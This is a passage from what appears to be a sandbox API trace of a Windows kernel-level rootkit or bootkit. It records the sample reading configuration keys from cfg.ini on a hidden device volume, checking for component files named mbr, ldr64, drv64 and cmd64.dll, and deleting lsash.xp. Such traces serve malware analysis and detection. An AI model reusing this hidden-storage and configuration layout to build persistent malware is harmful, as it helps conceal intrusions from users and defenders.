FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.727] KeLeaveCriticalRegion () [0128.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.727] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.727] KeEnterCriticalRegion () [0128.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.727] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0128.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.727] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.727] IdePortDispatch () returned 0x103 [0128.727] KeWaitForMutexObject () returned 0x0 [0128.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.727] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.727] IdePortDispatch () returned 0x103 [0128.727] KeWaitForMutexObject () returned 0x0 [0128.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] KeLeaveCriticalRegion () [0128.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.728] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.728] KeEnterCriticalRegion () [0128.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] KeLeaveCriticalRegion () [0128.728] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.728] KeEnterCriticalRegion () [0128.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] KeLeaveCriticalRegion () [0128.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.728] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.728] KeEnterCriticalRegion () [0128.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] ExFreePoolWithTag (P=0xfffffa8003c00e70, Tag=0x0) [0128.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.728] KeLeaveCriticalRegion () [0128.729] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.729] ReleaseMutex (hMutex=0xf0) returned 1 [0128.729] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.729] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.729] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.729] KeEnterCriticalRegion () [0128.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.729] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.729] IdePortDispatch () returned 0x103 [0128.730] KeWaitForMutexObject () returned 0x0 [0128.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.730] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.730] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.730] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.730] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.730] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfff60 [0128.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.730] KeLeaveCriticalRegion () [0128.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.730] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.730] KeEnterCriticalRegion () [0128.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.730] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.730] KeLeaveCriticalRegion () [0128.730] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.730] KeEnterCriticalRegion () [0128.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.730] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.730] IdePortDispatch () returned 0x103 [0128.731] KeWaitForMutexObject () returned 0x0 [0128.731] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.731] KeLeaveCriticalRegion () [0128.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.731] KeEnterCriticalRegion () [0128.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b17000 [0128.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.731] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.731] IdePortDispatch () returned 0x103 [0128.731] KeWaitForMutexObject () returned 0x0 [0128.731] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.731] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.731] IdePortDispatch () returned 0x103 [0128.731] KeWaitForMutexObject () returned 0x0 [0128.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.732] KeLeaveCriticalRegion () [0128.732] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.732] KeEnterCriticalRegion () [0128.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.732] KeLeaveCriticalRegion () [0128.732] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.732] KeEnterCriticalRegion () [0128.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.732] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.732] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.732] KeLeaveCriticalRegion () [0128.732] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.732] KeEnterCriticalRegion () [0128.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.733] ExFreePoolWithTag (P=0xfffffa8003bfff60, Tag=0x0) [0128.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.733] KeLeaveCriticalRegion () [0128.733] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.733] ReleaseMutex (hMutex=0xf0) returned 1 [0128.733] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.733] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.733] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.733] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.733] KeEnterCriticalRegion () [0128.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.733] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.733] IdePortDispatch () returned 0x103 [0128.733] KeWaitForMutexObject () returned 0x0 [0128.733] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.733] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.733] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.733] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.733] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.733] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.733] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.733] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.733] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.733] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.734] KeLeaveCriticalRegion () [0128.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.734] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.734] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.734] KeEnterCriticalRegion () [0128.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.734] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.734] IdePortDispatch () returned 0x103 [0128.734] KeWaitForMutexObject () returned 0x0 [0128.734] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.734] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.734] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.734] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.734] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.734] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.734] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.734] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.734] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.734] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.734] KeLeaveCriticalRegion () [0128.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.734] ReleaseMutex (hMutex=0x100) returned 1 [0128.734] Sleep (dwMilliseconds=0x2bf20) [0128.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fef4bb0, dwHighDateTime=0x1d24fa4)) [0128.741] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.741] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.741] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.741] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.742] KeEnterCriticalRegion () [0128.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.742] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.742] IdePortDispatch () returned 0x103 [0128.742] KeWaitForMutexObject () returned 0x0 [0128.742] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.742] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.742] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.742] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.742] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.742] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00110 [0128.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.742] KeLeaveCriticalRegion () [0128.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.742] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.742] KeEnterCriticalRegion () [0128.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.742] KeLeaveCriticalRegion () [0128.742] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.742] KeEnterCriticalRegion () [0128.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.742] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.742] IdePortDispatch () returned 0x103 [0128.742] KeWaitForMutexObject () returned 0x0 [0128.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.743] KeLeaveCriticalRegion () [0128.743] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.743] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.743] KeEnterCriticalRegion () [0128.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1a000 [0128.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.743] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.743] IdePortDispatch () returned 0x103 [0128.743] KeWaitForMutexObject () returned 0x0 [0128.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.743] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.743] IdePortDispatch () returned 0x103 [0128.743] KeWaitForMutexObject () returned 0x0 [0128.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.743] KeLeaveCriticalRegion () [0128.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.744] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.744] KeEnterCriticalRegion () [0128.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.744] KeLeaveCriticalRegion () [0128.744] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.744] KeEnterCriticalRegion () [0128.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.744] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.744] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.744] KeLeaveCriticalRegion () [0128.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.744] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.744] KeEnterCriticalRegion () [0128.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.744] ExFreePoolWithTag (P=0xfffffa8003c00110, Tag=0x0) [0128.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.744] KeLeaveCriticalRegion () [0128.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.744] ReleaseMutex (hMutex=0xf0) returned 1 [0128.744] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.745] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.745] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.745] KeEnterCriticalRegion () [0128.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 